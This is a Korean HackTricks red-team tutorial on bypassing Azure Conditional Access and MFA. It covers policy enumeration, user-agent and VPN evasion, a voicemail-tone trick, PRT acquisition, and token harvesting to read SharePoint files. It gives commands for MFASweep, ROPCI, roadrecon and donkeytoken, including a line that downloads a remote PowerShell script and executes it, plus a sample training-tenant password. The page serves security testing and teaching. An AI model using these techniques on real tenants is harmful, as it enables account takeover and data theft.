Az - Conditional Access Policies & MFA Bypass

Reading time: 8 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

Azure Conditional Access 정책은 특정 조건에 따라 Azure 서비스 및 애플리케이션에 대한 액세스 제어를 시행하기 위해 Microsoft Azure에서 설정된 규칙입니다. 이러한 정책은 조직이 적절한 상황에서 올바른 액세스 제어를 적용하여 자원을 보호하는 데 도움을 줍니다.
Conditional access 정책은 기본적으로 누가 무엇어디서 어떻게 접근할 수 있는지를 정의합니다.

여기 몇 가지 예가 있습니다:

  1. 로그인 위험 정책: 이 정책은 로그인 위험이 감지될 때 다단계 인증(MFA)을 요구하도록 설정될 수 있습니다. 예를 들어, 사용자의 로그인 행동이 정기적인 패턴과 비교하여 비정상적일 경우, 예를 들어 다른 국가에서 로그인하는 경우, 시스템은 추가 인증을 요청할 수 있습니다.
  2. 장치 준수 정책: 이 정책은 조직의 보안 기준을 준수하는 장치에만 Azure 서비스에 대한 액세스를 제한할 수 있습니다. 예를 들어, 최신 바이러스 백신 소프트웨어가 설치된 장치나 특정 운영 체제 버전을 실행하는 장치에서만 액세스가 허용될 수 있습니다.

열거

bash
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"

Conditional Acces Policies Bypasses

조건부 액세스 정책이 우회할 수 있는 정보를 쉽게 조작하고 있는 경우가 있을 수 있습니다. 예를 들어, 정책이 MFA를 구성하고 있다면 공격자는 이를 우회할 수 있습니다.

조건부 액세스 정책을 구성할 때는 영향을 받는 사용자대상 리소스(모든 클라우드 앱과 같은)를 지정해야 합니다.

정책을 트리거조건을 구성해야 합니다:

  • 네트워크: IP, IP 범위 및 지리적 위치
  • VPN 또는 프록시를 사용하여 허용된 IP 주소에서 로그인하거나 국가에 연결하여 우회할 수 있습니다.
  • Microsoft 위험: 사용자 위험, 로그인 위험, 내부자 위험
  • 장치 플랫폼: 모든 장치 또는 Android, iOS, Windows Phone, Windows, macOS, Linux 선택
  • “모든 장치”가 선택되지 않았지만 다른 모든 옵션이 선택된 경우, 해당 플랫폼과 관련 없는 임의의 사용자 에이전트를 사용하여 우회할 수 있습니다.
  • 클라이언트 앱: 옵션은 “브라우저”, “모바일 앱 및 데스크톱 클라이언트”, “Exchange ActiveSync 클라이언트” 및 “기타 클라이언트”입니다.
  • 선택되지 않은 옵션으로 로그인하여 우회할 수 있습니다.
  • 장치 필터: 사용된 장치와 관련된 규칙을 생성할 수 있습니다.
  • 인증 흐름: 옵션은 “장치 코드 흐름” 및 “인증 전송”입니다.
  • 이는 공격자가 피해자의 계정에 접근하기 위해 피싱 시도를 하는 경우가 아니라면 영향을 미치지 않습니다.

가능한 결과는: 차단 또는 액세스 허용, MFA 요구, 장치 준수와 같은 잠재적 조건이 있습니다…

Device Platforms - Device Condition

장치 플랫폼(Android, iOS, Windows, macOS...)에 기반한 조건을 설정할 수 있지만, 이는 사용자 에이전트에 기반하므로 우회하기 쉽습니다. 모든 옵션에서 MFA를 강제하더라도, 인식되지 않는 사용자 에이전트를 사용하면 MFA 또는 차단을 우회할 수 있습니다:

브라우저가 알 수 없는 사용자 에이전트를 보내도록 만드는 것만으로도 이 조건을 트리거하지 않게 할 수 있습니다.
개발자 도구에서 사용자 에이전트를 수동으로 변경할 수 있습니다:

또는 이와 같은 브라우저 확장 프로그램을 사용할 수 있습니다.

Locations: Countries, IP ranges - Device Condition

조건부 정책에 설정된 경우, 공격자는 허용된 국가에서 VPN을 사용하거나 허용된 IP 주소에서 접근할 방법을 찾아 이러한 조건을 우회할 수 있습니다.

Cloud Apps

사용자가 특정 앱에 접근하려고 할 때 MFA를 차단하거나 강제하는 조건부 액세스 정책을 구성할 수 있습니다:

이 보호를 우회하려면 어떤 애플리케이션에도 로그인할 수 있는지 확인해야 합니다.
도구 AzureAppsSweep하드코딩된 수십 개의 애플리케이션 ID를 가지고 있으며, 이들에 로그인 시도를 하고 성공하면 토큰을 알려줍니다.

특정 리소스에서 특정 애플리케이션 ID를 테스트하려면 다음과 같은 도구를 사용할 수 있습니다:

bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

또한 로그인 방법을 보호하는 것도 가능합니다(예: 브라우저나 데스크톱 애플리케이션에서 로그인하려고 할 때). 도구 Invoke-MFASweep는 이러한 보호를 우회하려고 시도하는 몇 가지 검사를 수행합니다.

도구 donkeytoken도 유사한 목적으로 사용될 수 있지만, 유지 관리가 되지 않는 것처럼 보입니다.

도구 ROPCI도 이러한 보호를 테스트하고 MFA 또는 차단을 우회할 수 있는지 확인하는 데 사용할 수 있지만, 이 도구는 화이트박스 관점에서 작동합니다. 먼저 테넌트에서 허용된 앱 목록을 다운로드한 다음, 해당 앱에 로그인하려고 시도합니다.

기타 Az MFA 우회

링톤

Azure MFA 옵션 중 하나는 구성된 전화번호로 전화를 받는 것이며, 사용자에게 문자 #을 전송하라는 요청이 있습니다.

caution

문자들은 단지 일 뿐이므로, 공격자는 전화번호의 음성 메일 메시지를 타협하고, 메시지로 #의 톤을 설정한 다음, MFA 요청 시 피해자의 전화가 통화 중이 되도록 하여 Azure 전화를 음성 메일로 리디렉션할 수 있습니다.

준수 장치

정책은 종종 준수 장치 또는 MFA를 요구하므로, 공격자는 준수 장치를 등록하고, PRT 토큰을 얻어 이 방법으로 MFA를 우회할 수 있습니다.

먼저 Intune에 준수 장치를 등록한 다음, PRT를 얻으세요:

bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

다음 페이지에서 이러한 종류의 공격에 대한 추가 정보를 찾으십시오:

Az - Pass the PRT

도구

AzureAppsSweep

이 스크립트는 일부 사용자 자격 증명을 가져오고 일부 애플리케이션에 로그인할 수 있는지 확인합니다.

이는 나중에 특권 상승을 위해 악용할 수 있는 일부 애플리케이션에 로그인하는 데 MFA가 필요하지 않은지 확인하는 데 유용합니다.

roadrecon

모든 정책을 가져옵니다.

bash
roadrecon plugin policies

Invoke-MFASweep

MFASweep는 제공된 자격 증명을 사용하여 다양한 Microsoft 서비스에 로그인하려고 시도하고 MFA가 활성화되어 있는지 식별하려고 시도하는 PowerShell 스크립트입니다. 조건부 액세스 정책 및 기타 다단계 인증 설정이 구성되는 방식에 따라 일부 프로토콜은 단일 요소로 남을 수 있습니다. 또한 ADFS 구성에 대한 추가 검사가 있으며, 감지된 경우 온프레미스 ADFS 서버에 로그인하려고 시도할 수 있습니다.

bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

이 도구는 MFA 우회를 식별하고 여러 생산 AAD 테넌트에서 API를 악용하는 데 도움을 주었습니다. AAD 고객은 MFA가 적용되었다고 믿었지만 ROPC 기반 인증이 성공했습니다.

tip

앱을 무차별 대입할 수 있는 앱 목록을 생성하려면 모든 애플리케이션을 나열할 수 있는 권한이 필요합니다.

bash
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey token은 Conditional Access Policies를 검증해야 하는 보안 컨설턴트를 돕기 위한 함수 집합입니다. 2FA가 활성화된 Microsoft 포털에 대한 테스트 등을 포함합니다.

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

각 포털을 테스트하여 MFA 없이 로그인할 수 있는지 확인하십시오:

bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

Azure 포털제한되지 않기 때문에, 이전 실행에서 감지된 모든 서비스에 접근하기 위해 포털 엔드포인트에서 토큰을 수집하는 것이 가능합니다. 이 경우 Sharepoint가 식별되었고, 이를 접근하기 위한 토큰이 요청됩니다:

bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

토큰이 Sites.Read.All (Sharepoint에서) 권한을 가지고 있다고 가정할 때, MFA 때문에 웹에서 Sharepoint에 접근할 수 없더라도, 생성된 토큰을 사용하여 파일에 접근하는 것이 가능합니다:

bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기